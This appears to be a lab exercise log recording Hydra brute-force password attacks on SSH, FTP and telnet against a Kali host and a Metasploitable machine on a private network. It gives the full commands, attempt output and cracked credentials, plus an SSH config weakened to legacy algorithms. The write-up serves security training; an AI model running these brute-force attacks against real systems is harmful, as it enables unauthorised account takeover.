

## KALI - ssh

hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt 192.168.50.100 -t 4 ssh -V

```
(root@kali)-[/home/kali]
# hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt 192.168.50.100 -t 4 ssh -V

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret
service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and
ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-08 03:07:09
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a p
revious session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 130 login tries (l:10/p:13), ~33 tries per tas
k
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "dsdsd" - 1 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "budd" - 2 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "batman" - 3 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 4 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "ciao" - 5 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "1234" - 6 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "jifvjfivfjd" - 7 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "kali" - 8 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "msfadmin" - 9 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "pass" - 10 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "venerdi" - 11 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "sabato" - 12 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 13 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "dsdsd" - 14 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "budd" - 15 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "batman" - 16 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "password" - 17 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "ciao" - 18 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "1234" - 19 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "jifvjfivfjd" - 20 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "budd" - 119 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "batman" - 120 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 121 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ciao" - 122 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 123 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jifvjfivfjd" - 124 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "kali" - 125 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "msfadmin" - 126 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pass" - 127 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "venerdi" - 128 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sabato" - 129 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 130 of 130 [child 1] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-08 03:08:49
```

# KALI - ftp

hydra -L /home/kali/Desktop/username.txt -P /home/kali/Desktop/passwords.txt ftp://192.168.50.100 -V

```
(kali@kali)-[~]
$ hydra -L /home/kali/Desktop/username.txt -P /home/kali/Desktop/passwords.txt ftp://192.168.50.100 -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-08 07:20:12
[DATA] max 16 tasks per 1 server, overall 16 tasks, 130 login tries (l:10/p:13), ~9 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "dsdsd" - 1 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "budd" - 2 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "batman" - 3 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 4 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "ciao" - 5 of 130 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "1234" - 6 of 130 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "jifvjfivfjd" - 7 of 130 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "kali" - 8 of 130 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "msfadmin" - 9 of 130 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "pass" - 10 of 130 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "venerdi" - 11 of 130 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "sabato" - 12 of 130 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 13 of 130 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "dsdsd" - 14 of 130 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "budd" - 15 of 130 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "batman" - 16 of 130 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "password" - 17 of 130 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "ciao" - 18 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "1234" - 19 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "jifvjfivfjd" - 20 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "kali" - 21 of 130 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "msfadmin" - 22 of 130 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "pass" - 23 of 130 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "venerdi" - 24 of 130 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "sabato" - 25 of 130 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 26 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "root" - pass "dsdsd" - 27 of 130 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "toro" - pass "testpass" - 117 of 130 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dsdsd" - 118 of 130 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "budd" - 119 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "batman" - 120 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 121 of 130 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ciao" - 122 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 123 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jifvjfivfjd" - 124 of 130 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "kali" - 125 of 130 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "msfadmin" - 126 of 130 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pass" - 127 of 130 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "venerdi" - 128 of 130 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sabato" - 129 of 130 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 130 of 130 [child 7] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-08 07:20:40
(kali@kali)-[~]
```

## KALI – telnet

Hydra -L /home/kali/Desktop/username.txt -P /home/kali/Desktop/passwords.txt <telnet://192.168.50.100>  
-V

```
(kali㉿kali)-[~]
└─$ hydra -l test_user -P /home/kali/Desktop/passwords.txt telnet://192.168.50.100 -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-08 11:52:42
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:1/p:14), ~1 try per task
[DATA] attacking telnet://192.168.50.100:23/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 1 of 14 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dsdsd" - 2 of 14 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "budd" - 3 of 14 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "batman" - 4 of 14 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 5 of 14 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ciao" - 6 of 14 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 7 of 14 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jifvjfivfjd" - 8 of 14 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "kali" - 9 of 14 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "msfadmin" - 10 of 14 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pass" - 11 of 14 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "venerdi" - 12 of 14 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sabato" - 13 of 14 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 14 of 14 [child 13] (0/0)
[23][telnet] host: 192.168.50.100 login: test_user password: testpass
[23][telnet] host: 192.168.50.100 login: test_user password: testpass
[STATUS] 14.00 tries/min, 14 tries in 00:01h, 1 to do in 00:01h, 8 active
^X^C

(kali㉿kali)-[~]
```



## META - ftp

hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt ftp://192.168.50.101 -V

```
(kali㉿kali)-[~]
└─$ hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt ftp://192.168.50.101 -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-08 07:32:52
[DATA] max 16 tasks per 1 server, overall 16 tasks, 130 login tries (l:10/p:13), ~9 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "dsdsd" - 1 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "budd" - 2 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "batman" - 3 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "password" - 4 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "ciao" - 5 of 130 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "1234" - 6 of 130 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "jifvjfivfid" - 7 of 130 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "kali" - 8 of 130 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "msfadmin" - 9 of 130 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "pass" - 10 of 130 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "venerdi" - 11 of 130 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "sabato" - 12 of 130 [child 11] (0/0)

[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "batman" - 55 of 130 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 56 of 130 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "ciao" - 57 of 130 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 58 of 130 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "jifvjfivfid" - 59 of 130 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "kali" - 60 of 130 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 61 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pass" - 62 of 130 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "venerdi" - 63 of 130 [child 15] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "sabato" - 64 of 130 [child 14] (0/0)
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.50.101 - login "utente" - pass "dsdsd" - 66 of 130 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "utente" - pass "budd" - 67 of 130 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "utente" - pass "batman" - 68 of 130 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "utente" - pass "password" - 69 of 130 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "utente" - pass "ciao" - 70 of 130 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "utente" - pass "1234" - 71 of 130 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "utente" - pass "jifvjfivfid" - 72 of 130 [child 10] (0/0)
```

## META – telnet

Hydra -l msfadmin -P /home/kali/Desktop/passwords.txt <telnet://192.168.50.100> -V

```
(kali@kali)-[~]
$ hydra -l msfadmin -P /home/kali/Desktop/passwords.txt telnet://192.168.50.101 -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiz
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-08 11:11:03
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:1/p:14), ~1 try per task
[DATA] attacking telnet://192.168.50.101:23/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 1 of 14 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dsdsd" - 2 of 14 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "budd" - 3 of 14 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "batman" - 4 of 14 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 5 of 14 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "ciao" - 6 of 14 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 7 of 14 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "jifvjfivfjd" - 8 of 14 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "kali" - 9 of 14 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 10 of 14 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pass" - 11 of 14 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "venerdi" - 12 of 14 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "sabato" - 13 of 14 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 14 of 14 [child 13] (0/0)
[23][telnet] host: 192.168.50.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-08 11:11:34
```

## META - ssh

```
/etc/init.d/ssh: line 78: /proc/4049/oom_adj: Permission denied [ OK ]
msfadmin@metasploitable:~$ sudo /etc/init.d/ssh start
* Starting OpenBSD Secure Shell server sshd [ OK ]
msfadmin@metasploitable:~$
```

```
GNU nano 7.2 /etc/ssh/sshd_config
# 2. user-specific file
# 3. system-wide file
# Any configuration value is only changed the first time it is set.
# Thus, host-specific definitions should be at the beginning of the
# configuration file, and defaults at the end.

# Site-wide defaults for some commonly used options. For a comprehensive
# list of available options, their meanings and defaults, please see the
# ssh_config(5) man page.

Include /etc/ssh/sshd_config.d/*.conf

# *
HostKeyAlgorithms ssh-rsa,ssh-dss
# ForwardAgent no
# ForwardX11 no
# ForwardX11Trusted yes
# PasswordAuthentication yes
# HostbasedAuthentication no
# GSSAPIAuthentication no
# GSSAPIDelegateCredentials no
# GSSAPIKeyExchange no
# GSSAPITrustDNS no
# BatchMode no
# CheckHostIP yes
# AddressFamily any
# ConnectTimeout 0
# StrictHostKeyChecking ask
# IdentityFile ~/.ssh/id_rsa
# IdentityFile ~/.ssh/id_dsa
# IdentityFile ~/.ssh/id_ecdsa
# IdentityFile ~/.ssh/id_ed25519
# Port 22
# Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
# MACs hmac-md5,hmac-sha1,umac-64@openssh.com
# EscapeChar ~
# Tunnel no
# TunnelDevice any:any
# PermitLocalCommand no
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
# UserKnownHostsFile ~/.ssh/known_hosts.d/%k
# SendEnv LANG LC_*
# GSSAPIAuthentication yes
MACs hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
```

hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt 192.168.50.101 -t 4 ssh -V

```
(kali@kali)-[~]
$ hydra -l msfadmin -P /home/kali/Desktop/passwords.txt 192.168.50.101 -t 4 ssh -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-08 10:41:10
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14 login tries (l:1/p:14), ~4 tries per task
[DATA] attacking ssh://192.168.50.101:22/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 1 of 14 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dsdsd" - 2 of 14 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "budd" - 3 of 14 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "batman" - 4 of 14 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 5 of 14 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "ciao" - 6 of 14 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 7 of 14 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "jifvjfivfjd" - 8 of 14 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "kali" - 9 of 14 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 10 of 14 [child 0] (0/0)
[22][ssh] host: 192.168.50.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-08 10:42:15
```

